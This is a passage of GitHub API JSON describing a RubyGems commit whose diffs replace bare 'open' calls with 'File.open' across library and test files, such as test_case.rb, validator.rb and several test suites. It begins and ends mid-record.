file.readline.chomp"},{"sha":"70326d82d83b4b7bbe5f7c7ad310fe47e33698cd","filename":"lib/rubygems/test_case.rb","status":"modified","additions":5,"deletions":5,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/test_case.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/test_case.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_case.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -488,7 +488,7 @@ def git_gem name = ''a'', version = 1\n \n gemspec = \"#{name}.gemspec\"\n \n- open File.join(directory, gemspec), ''w'' do |io|\n+ File.open File.join(directory, gemspec), ''w'' do |io|\n io.write git_spec.to_ruby\n end\n \n@@ -592,7 +592,7 @@ def mu_pp(obj)\n # Reads a Marshal file at +path+\n \n def read_cache(path)\n- open path.dup.untaint, ''rb'' do |io|\n+ File.open path.dup.untaint, ''rb'' do |io|\n Marshal.load io.read\n end\n end\n@@ -612,7 +612,7 @@ def write_file(path)\n dir = File.dirname path\n FileUtils.mkdir_p dir unless File.directory? dir\n \n- open path, ''wb'' do |io|\n+ File.open path, ''wb'' do |io|\n yield io if block_given?\n end\n \n@@ -727,7 +727,7 @@ def install_default_gems(*specs)\n install_default_specs(*specs)\n \n specs.each do |spec|\n- open spec.loaded_from, ''w'' do |io|\n+ File.open spec.loaded_from, ''w'' do |io|\n io.write spec.to_ruby_for_cache\n end\n end\n@@ -1363,7 +1363,7 @@ def save_gemspec name = ''a'', version = 1, directory = ''.''\n yield specification if block_given?\n end\n \n- open File.join(directory, \"#{name}.gemspec\"), ''w'' do |io|\n+ File.open File.join(directory, \"#{name}.gemspec\"), ''w'' do |io|\n io.write vendor_spec.to_ruby\n end\n "},{"sha":"83c9d2d0fe3f692091ea5fac3d1e7e0bfa687e03","filename":"lib/rubygems/test_utilities.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/test_utilities.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/test_utilities.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/test_utilities.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -346,7 +346,7 @@ def spec name, version, dependencies = nil, &block\n end\n \n def write_spec spec # :nodoc:\n- open spec.spec_file, ''w'' do |io|\n+ File.open spec.spec_file, ''w'' do |io|\n io.write spec.to_ruby_for_cache\n end\n end"},{"sha":"6842e4fa9c8d36900d126ba3b5d3b230f1a67018","filename":"lib/rubygems/validator.rb","status":"modified","additions":3,"deletions":3,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/validator.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/lib/rubygems/validator.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/validator.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -34,7 +34,7 @@ def verify_gem(gem_data)\n # gem_path:: [String] Path to gem file\n \n def verify_gem_file(gem_path)\n- open gem_path, Gem.binary_mode do |file|\n+ File.open gem_path, Gem.binary_mode do |file|\n gem_data = file.read\n verify_gem gem_data\n end\n@@ -109,7 +109,7 @@ def alien(gems=[])\n \n good, gone, unreadable = nil, nil, nil, nil\n \n- open gem_path, Gem.binary_mode do |file|\n+ File.open gem_path, Gem.binary_mode do |file|\n package = Gem::Package.new gem_path\n \n good, gone = package.contents.partition { |file_name|\n@@ -134,7 +134,7 @@ def alien(gems=[])\n \n source = File.join gem_directory, entry[''path'']\n \n- open source, Gem.binary_mode do |f|\n+ File.open source, Gem.binary_mode do |f|\n unless f.read == data then\n errors[gem_name][entry[''path'']] = \"Modified from original\"\n end"},{"sha":"20630f31c7348fc52f447db3a74d5a1633f75cf6","filename":"test/rubygems/test_gem.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -775,7 +775,7 @@ def test_self_prefix_sitelibdir\n end\n \n def test_self_read_binary\n- open ''test'', ''w'' do |io|\n+ File.open ''test'', ''w'' do |io|\n io.write \"\\xCF\\x80\"\n end\n \n@@ -1642,7 +1642,7 @@ def test_use_gemdeps\n spec = Gem::Specification.find { |s| s == spec }\n refute spec.activated?\n \n- open gem_deps_file, ''w'' do |io|\n+ File.open gem_deps_file, ''w'' do |io|\n io.write ''gem \"a\"''\n end\n \n@@ -1661,7 +1661,7 @@ def test_use_gemdeps_ENV\n \n refute spec.activated?\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.write ''gem \"a\"''\n end\n \n@@ -1705,7 +1705,7 @@ def test_use_gemdeps_automatic\n \n refute spec.activated?\n \n- open ''Gemfile'', ''w'' do |io|\n+ File.open ''Gemfile'', ''w'' do |io|\n io.write ''gem \"a\"''\n end\n \n@@ -1734,7 +1734,7 @@ def test_use_gemdeps_disabled\n \n refute spec.activated?\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.write ''gem \"a\"''\n end\n \n@@ -1749,7 +1749,7 @@ def test_use_gemdeps_missing_gem\n skip ''Insecure operation - read'' if RUBY_VERSION <= \"1.8.7\"\n rubygems_gemdeps, ENV[''RUBYGEMS_GEMDEPS''] = ENV[''RUBYGEMS_GEMDEPS''], ''x''\n \n- open ''x'', ''w'' do |io|\n+ File.open ''x'', ''w'' do |io|\n io.write ''gem \"a\"''\n end\n \n@@ -1790,7 +1790,7 @@ def test_use_gemdeps_specific\n spec = Gem::Specification.find { |s| s == spec }\n refute spec.activated?\n \n- open ''x'', ''w'' do |io|\n+ File.open ''x'', ''w'' do |io|\n io.write ''gem \"a\"''\n end\n "},{"sha":"1c5dbfe23e474d9ea41d3032907802ade65d3986","filename":"test/rubygems/test_gem_commands_push_command.rb","status":"modified","additions":5,"deletions":5,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_commands_push_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_commands_push_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_push_command.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -132,7 +132,7 @@ def test_sending_gem_to_metadata_host\n }\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n Gem.configuration.load_api_keys\n@@ -166,7 +166,7 @@ def test_sending_gem_to_allowed_push_host\n }\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n Gem.configuration.load_api_keys\n@@ -193,7 +193,7 @@ def test_sending_gem_to_allowed_push_host_with_basic_credentials\n }\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n Gem.configuration.load_api_keys\n@@ -235,7 +235,7 @@ def test_sending_gem_to_disallowed_push_host\n }\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n Gem.configuration.load_api_keys\n@@ -266,7 +266,7 @@ def test_sending_gem_defaulting_to_allowed_push_host\n }\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n Gem.configuration.load_api_keys"},{"sha":"12addc717a41c5a27e9ff4a2435c337c0e23becd","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":15,"deletions":15,"changes":30,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -18,17 +18,17 @@ def setup\n FileUtils.mkdir_p ''bin''\n FileUtils.mkdir_p ''lib/rubygems/ssl_certs/rubygems.org''\n \n- open ''bin/gem'', ''w'' do |io| io.puts ''# gem'' end\n- open ''lib/rubygems.rb'', ''w'' do |io| io.puts ''# rubygems.rb'' end\n- open ''lib/rubygems/test_case.rb'', ''w'' do |io| io.puts ''# test_case.rb'' end\n- open ''lib/rubygems/ssl_certs/rubygems.org/foo.pem'', ''w'' do |io| io.puts ''PEM'' end\n+ File.open ''bin/gem'', ''w'' do |io| io.puts ''# gem'' end\n+ File.open ''lib/rubygems.rb'', ''w'' do |io| io.puts ''# rubygems.rb'' end\n+ File.open ''lib/rubygems/test_case.rb'', ''w'' do |io| io.puts ''# test_case.rb'' end\n+ File.open ''lib/rubygems/ssl_certs/rubygems.org/foo.pem'', ''w'' do |io| io.puts ''PEM'' end\n \n FileUtils.mkdir_p ''bundler/exe''\n FileUtils.mkdir_p ''bundler/lib/bundler''\n \n- open ''bundler/exe/bundle'', ''w'' do |io| io.puts ''# bundle'' end\n- open ''bundler/lib/bundler.rb'', ''w'' do |io| io.puts ''# bundler.rb'' end\n- open ''bundler/lib/bundler/b.rb'', ''w'' do |io| io.puts ''# b.rb'' end\n+ File.open ''bundler/exe/bundle'', ''w'' do |io| io.puts ''# bundle'' end\n+ File.open ''bundler/lib/bundler.rb'', ''w'' do |io| io.puts ''# bundler.rb'' end\n+ File.open ''bundler/lib/bundler/b.rb'', ''w'' do |io| io.puts ''# b.rb'' end\n \n FileUtils.mkdir_p ''default/gems''\n \n@@ -38,7 +38,7 @@ def setup\n gemspec.bindir = \"exe\"\n gemspec.executables = [\"bundle\"]\n \n- open ''bundler/bundler.gemspec'', ''w'' do |io|\n+ File.open ''bundler/bundler.gemspec'', ''w'' do |io|\n io.puts gemspec.to_ruby\n end\n \n@@ -181,14 +181,14 @@ def test_remove_old_lib_files\n FileUtils.mkdir_p lib_rubygems_defaults\n FileUtils.mkdir_p lib_bundler\n \n- open securerandom_rb, ''w'' do |io| io.puts ''# securerandom.rb'' end\n+ File.open securerandom_rb, ''w'' do |io| io.puts ''# securerandom.rb'' end\n \n- open old_builder_rb, ''w'' do |io| io.puts ''# builder.rb'' end\n- open old_format_rb, ''w'' do |io| io.puts ''# format.rb'' end\n- open old_bundler_c_rb, ''w'' do |io| io.puts ''# c.rb'' end\n+ File.open old_builder_rb, ''w'' do |io| io.puts ''# builder.rb'' end\n+ File.open old_format_rb, ''w'' do |io| io.puts ''# format.rb'' end\n+ File.open old_bundler_c_rb, ''w'' do |io| io.puts ''# c.rb'' end\n \n- open engine_defaults_rb, ''w'' do |io| io.puts ''# jruby.rb'' end\n- open os_defaults_rb, ''w'' do |io| io.puts ''# operating_system.rb'' end\n+ File.open engine_defaults_rb, ''w'' do |io| io.puts ''# jruby.rb'' end\n+ File.open os_defaults_rb, ''w'' do |io| io.puts ''# operating_system.rb'' end\n \n @cmd.remove_old_lib_files lib\n \n@@ -210,7 +210,7 @@ def test_show_release_notes\n \n @cmd.options[:previous_version] = Gem::Version.new ''2.0.2''\n \n- open ''History.txt'', ''w'' do |io|\n+ File.open ''History.txt'', ''w'' do |io|\n io.puts <<-History_txt\n # coding: UTF-8\n "},{"sha":"d7d736ced4bfd956f04cab7409391c508c1380d9","filename":"test/rubygems/test_gem_commands_uninstall_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_commands_uninstall_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_commands_uninstall_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_uninstall_command.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -92,7 +92,7 @@ def test_execute_removes_executable\n # Evil hack to prevent false removal success\n FileUtils.rm_f @executable\n \n- open @executable, \"wb+\" do |f| f.puts \"binary\" end\n+ File.open @executable, \"wb+\" do |f| f.puts \"binary\" end\n \n @cmd.options[:executables] = true\n @cmd.options[:args] = [@spec.name]"},{"sha":"3d762916685eb5aa22abcbc7a4773c2aaf0038a9","filename":"test/rubygems/test_gem_dependency_installer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_dependency_installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_dependency_installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_dependency_installer.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -424,7 +424,7 @@ def test_install_dependency_existing_extension\n extconf_rb = File.join @gemhome, ''gems'', ''e-1'', ''extconf.rb''\n FileUtils.mkdir_p File.dirname extconf_rb\n \n- open extconf_rb, ''w'' do |io|\n+ File.open extconf_rb, ''w'' do |io|\n io.write <<-EXTCONF_RB\n require ''mkmf''\n create_makefile ''e''"},{"sha":"8db65d70cefc325ccdba0a0d43bbbefadd2a168b","filename":"test/rubygems/test_gem_doctor.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_doctor.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_doctor.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_doctor.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -24,7 +24,7 @@ def test_doctor\n \n FileUtils.rm b.spec_file\n \n- open c.spec_file, ''w'' do |io|\n+ File.open c.spec_file, ''w'' do |io|\n io.write ''this will raise an exception when evaluated.''\n end\n \n@@ -77,7 +77,7 @@ def test_doctor_dry_run\n \n FileUtils.rm b.spec_file\n \n- open c.spec_file, ''w'' do |io|\n+ File.open c.spec_file, ''w'' do |io|\n io.write ''this will raise an exception when evaluated.''\n end\n "},{"sha":"3dabd3e350fc44ec408300397ad4d5e3b01ec087","filename":"test/rubygems/test_gem_ext_builder.rb","status":"modified","additions":6,"deletions":6,"changes":12,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_ext_builder.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_ext_builder.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_ext_builder.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -32,7 +32,7 @@ def test_class_make\n results = []\n \n Dir.chdir @ext do\n- open ''Makefile'', ''w'' do |io|\n+ File.open ''Makefile'', ''w'' do |io|\n io.puts <<-MAKEFILE\n all:\n \\t@#{Gem.ruby} -e \"puts %Q{all: \\#{ENV[''DESTDIR'']}}\"\n@@ -72,7 +72,7 @@ def test_class_make_no_clean\n results = []\n \n Dir.chdir @ext do\n- open ''Makefile'', ''w'' do |io|\n+ File.open ''Makefile'', ''w'' do |io|\n io.puts <<-MAKEFILE\n all:\n \\t@#{Gem.ruby} -e \"puts %Q{all: \\#{ENV[''DESTDIR'']}}\"\n@@ -107,7 +107,7 @@ def test_build_extensions\n \n extconf_rb = File.join ext_dir, ''extconf.rb''\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n require ''mkmf''\n \n@@ -168,7 +168,7 @@ def Gem.install_extension_in_lib\n \n extconf_rb = File.join ext_dir, ''extconf.rb''\n \n- open extconf_rb, ''w'' do |f|\n+ File.open extconf_rb, ''w'' do |f|\n f.write <<-''RUBY''\n require ''mkmf''\n \n@@ -290,7 +290,7 @@ def test_build_extensions_with_build_args\n \n FileUtils.mkdir_p @spec.gem_dir\n \n- open File.join(@spec.gem_dir, \"extconf.rb\"), \"w\" do |f|\n+ File.open File.join(@spec.gem_dir, \"extconf.rb\"), \"w\" do |f|\n f.write <<-''RUBY''\n puts \"IN EXTCONF\"\n extconf_args = File.join File.dirname(__FILE__), ''extconf_args''\n@@ -323,7 +323,7 @@ def test_initialize\n \n build_info_file = File.join build_info_dir, \"#{@spec.full_name}.info\"\n \n- open build_info_file, ''w'' do |io|\n+ File.open build_info_file, ''w'' do |io|\n io.puts ''--with-foo-dir=/nonexistent''\n end\n "},{"sha":"7b3e2739572c803918f42b1195941731f5cc5d6b","filename":"test/rubygems/test_gem_gemcutter_utilities.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_gemcutter_utilities.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_gemcutter_utilities.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_gemcutter_utilities.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -33,7 +33,7 @@ def test_alternate_key_alternate_host\n \n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n \n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n \n@@ -48,7 +48,7 @@ def test_api_key\n keys = { :rubygems_api_key => ''KEY'' }\n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n \n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n \n@@ -61,7 +61,7 @@ def test_api_key_override\n keys = { :rubygems_api_key => ''KEY'', :other => ''OTHER'' }\n FileUtils.mkdir_p File.dirname Gem.configuration.credentials_path\n \n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write keys.to_yaml\n end\n \n@@ -165,7 +165,7 @@ def test_sign_in_with_other_credentials_doesnt_overwrite_other_keys\n other_api_key = ''f46dbb18bb6a9c97cdc61b5b85c186a17403cdcbf''\n \n FileUtils.mkdir_p File.dirname(Gem.configuration.credentials_path)\n- open Gem.configuration.credentials_path, ''w'' do |f|\n+ File.open Gem.configuration.credentials_path, ''w'' do |f|\n f.write Hash[:other_api_key, other_api_key].to_yaml\n end\n util_sign_in [api_key, 200, ''OK'']"},{"sha":"bc63d9bab1d8ed6e1e985c8faf211b6646b06cd2","filename":"test/rubygems/test_gem_installer.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_installer.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_installer.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_installer.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -140,7 +140,7 @@ def test_check_executable_overwrite_format_executable\n s.require_path = ''lib''\n end\n \n- open File.join(util_inst_bindir, ''executable''), ''w'' do |io|\n+ File.open File.join(util_inst_bindir, ''executable''), ''w'' do |io|\n io.write <<-EXEC\n #!/usr/local/bin/ruby\n #"},{"sha":"936df605228d4cda789fec4f580719ed672833d6","filename":"test/rubygems/test_gem_package.rb","status":"modified","additions":15,"deletions":15,"changes":30,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_package.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_package.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_package.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -24,7 +24,7 @@ def setup\n end\n \n def test_class_new_old_format\n- open ''old_format.gem'', ''wb'' do |io|\n+ File.open ''old_format.gem'', ''wb'' do |io|\n io.write SIMPLE_GEM\n end\n \n@@ -45,7 +45,7 @@ def test_add_checksums\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -110,8 +110,8 @@ def test_add_files\n \n FileUtils.mkdir_p ''lib/empty''\n \n- open ''lib/code.rb'', ''w'' do |io| io.write ''# lib/code.rb'' end\n- open ''lib/extra.rb'', ''w'' do |io| io.write ''# lib/extra.rb'' end\n+ File.open ''lib/code.rb'', ''w'' do |io| io.write ''# lib/code.rb'' end\n+ File.open ''lib/extra.rb'', ''w'' do |io| io.write ''# lib/extra.rb'' end\n \n package = Gem::Package.new ''bogus.gem''\n package.spec = spec\n@@ -140,7 +140,7 @@ def test_add_files_symlink\n spec.files = %w[lib/code.rb lib/code_sym.rb]\n \n FileUtils.mkdir_p ''lib''\n- open ''lib/code.rb'', ''w'' do |io| io.write ''# lib/code.rb'' end\n+ File.open ''lib/code.rb'', ''w'' do |io| io.write ''# lib/code.rb'' end\n \n # NOTE: ''code.rb'' is correct, because it''s relative to lib/code_sym.rb\n File.symlink(''code.rb'', ''lib/code_sym.rb'')\n@@ -179,7 +179,7 @@ def test_build\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -218,7 +218,7 @@ def test_build_auto_signed\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -261,7 +261,7 @@ def test_build_auto_signed_encrypted_key\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -311,7 +311,7 @@ def test_build_signed\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -348,7 +348,7 @@ def test_build_signed_encrypted_key\n \n FileUtils.mkdir ''lib''\n \n- open ''lib/code.rb'', ''w'' do |io|\n+ File.open ''lib/code.rb'', ''w'' do |io|\n io.write ''# lib/code.rb''\n end\n \n@@ -408,7 +408,7 @@ def test_extract_files_empty\n end\n end\n \n- open ''empty.gem'', ''wb'' do |io|\n+ File.open ''empty.gem'', ''wb'' do |io|\n io.write gem.string\n end\n \n@@ -620,7 +620,7 @@ def test_verify_checksum_bad\n end\n end\n \n- open ''mismatch.gem'', ''wb'' do |io|\n+ File.open ''mismatch.gem'', ''wb'' do |io|\n io.write gem.string\n end\n \n@@ -670,7 +670,7 @@ def test_verify_checksum_missing\n end\n end\n \n- open ''data_checksum_missing.gem'', ''wb'' do |io|\n+ File.open ''data_checksum_missing.gem'', ''wb'' do |io|\n io.write gem.string\n end\n \n@@ -773,7 +773,7 @@ def test_verify_security_policy_checksum_missing\n FileUtils.mkdir ''lib''\n FileUtils.touch ''lib/code.rb''\n \n- open @gem, ''wb'' do |gem_io|\n+ File.open @gem, ''wb'' do |gem_io|\n Gem::Package::TarWriter.new gem_io do |gem|\n build.add_metadata gem\n build.add_contents gem\n@@ -804,7 +804,7 @@ def test_verify_security_policy_checksum_missing\n end\n \n def test_verify_truncate\n- open ''bad.gem'', ''wb'' do |io|\n+ File.open ''bad.gem'', ''wb'' do |io|\n io.write File.read(@gem, 1024) # don''t care about newlines\n end\n "},{"sha":"604981b3c1fc9f05f4d11e3471076323c08eba25","filename":"test/rubygems/test_gem_package_old.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_package_old.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_package_old.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_package_old.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -7,7 +7,7 @@ class TestGemPackageOld < Gem::TestCase\n def setup\n super\n \n- open ''old_format.gem'', ''wb'' do |io|\n+ File.open ''old_format.gem'', ''wb'' do |io|\n io.write SIMPLE_GEM\n end\n "},{"sha":"5dc6c1518de743b493aef791fc7379a86fb3b76f","filename":"test/rubygems/test_gem_request_set.rb","status":"modified","additions":7,"deletions":7,"changes":14,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_request_set.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_request_set.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_request_set.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -52,7 +52,7 @@ def test_install_from_gemdeps\n rs = Gem::RequestSet.new\n installed = []\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.puts ''gem \"a\"''\n io.flush\n \n@@ -78,7 +78,7 @@ def test_install_from_gemdeps_explain\n \n rs = Gem::RequestSet.new\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.puts ''gem \"a\"''\n io.flush\n \n@@ -104,7 +104,7 @@ def test_install_from_gemdeps_install_dir\n rs = Gem::RequestSet.new\n installed = []\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.puts ''gem \"a\"''\n end\n \n@@ -128,7 +128,7 @@ def test_install_from_gemdeps_local\n \n rs = Gem::RequestSet.new\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.puts ''gem \"a\"''\n io.flush\n \n@@ -150,7 +150,7 @@ def test_install_from_gemdeps_lockfile\n rs = Gem::RequestSet.new\n installed = []\n \n- open ''gem.deps.rb.lock'', ''w'' do |io|\n+ File.open ''gem.deps.rb.lock'', ''w'' do |io|\n io.puts <<-LOCKFILE\n GEM\n remote: #{@gem_repo}\n@@ -167,7 +167,7 @@ def test_install_from_gemdeps_lockfile\n LOCKFILE\n end\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.puts ''gem \"b\"''\n end\n \n@@ -190,7 +190,7 @@ def test_install_from_gemdeps_version_mismatch\n rs = Gem::RequestSet.new\n installed = []\n \n- open ''gem.deps.rb'', ''w'' do |io|\n+ File.open ''gem.deps.rb'', ''w'' do |io|\n io.puts <<-GEM_DEPS\n gem \"a\"\n ruby \"0\""},{"sha":"7460b7efad21d7302052319e7f3afd15f60a6ae6","filename":"test/rubygems/test_gem_request_set_lockfile.rb","status":"modified","additions":4,"deletions":4,"changes":8,"blob_url":"https://github.com/rubygems/rubygems/blob/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_request_set_lockfile.rb","raw_url":"https://github.com/rubygems/rubygems/raw/af1eb1b83df9b87d95ba67b6f169134e1805fc32/test/rubygems/test_gem_request_set_lockfile.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_request_set_lockfile.rb?ref=af1eb1b83df9b87d95ba67b6f169134e1805fc32","patch":"@@ -31,7 +31,7 @@ def lockfile\n def write_lockfile lockfile\n @lock_file = File.expand_path \"#{@gem_deps_file}.lock\"\n \n- open @lock_file, 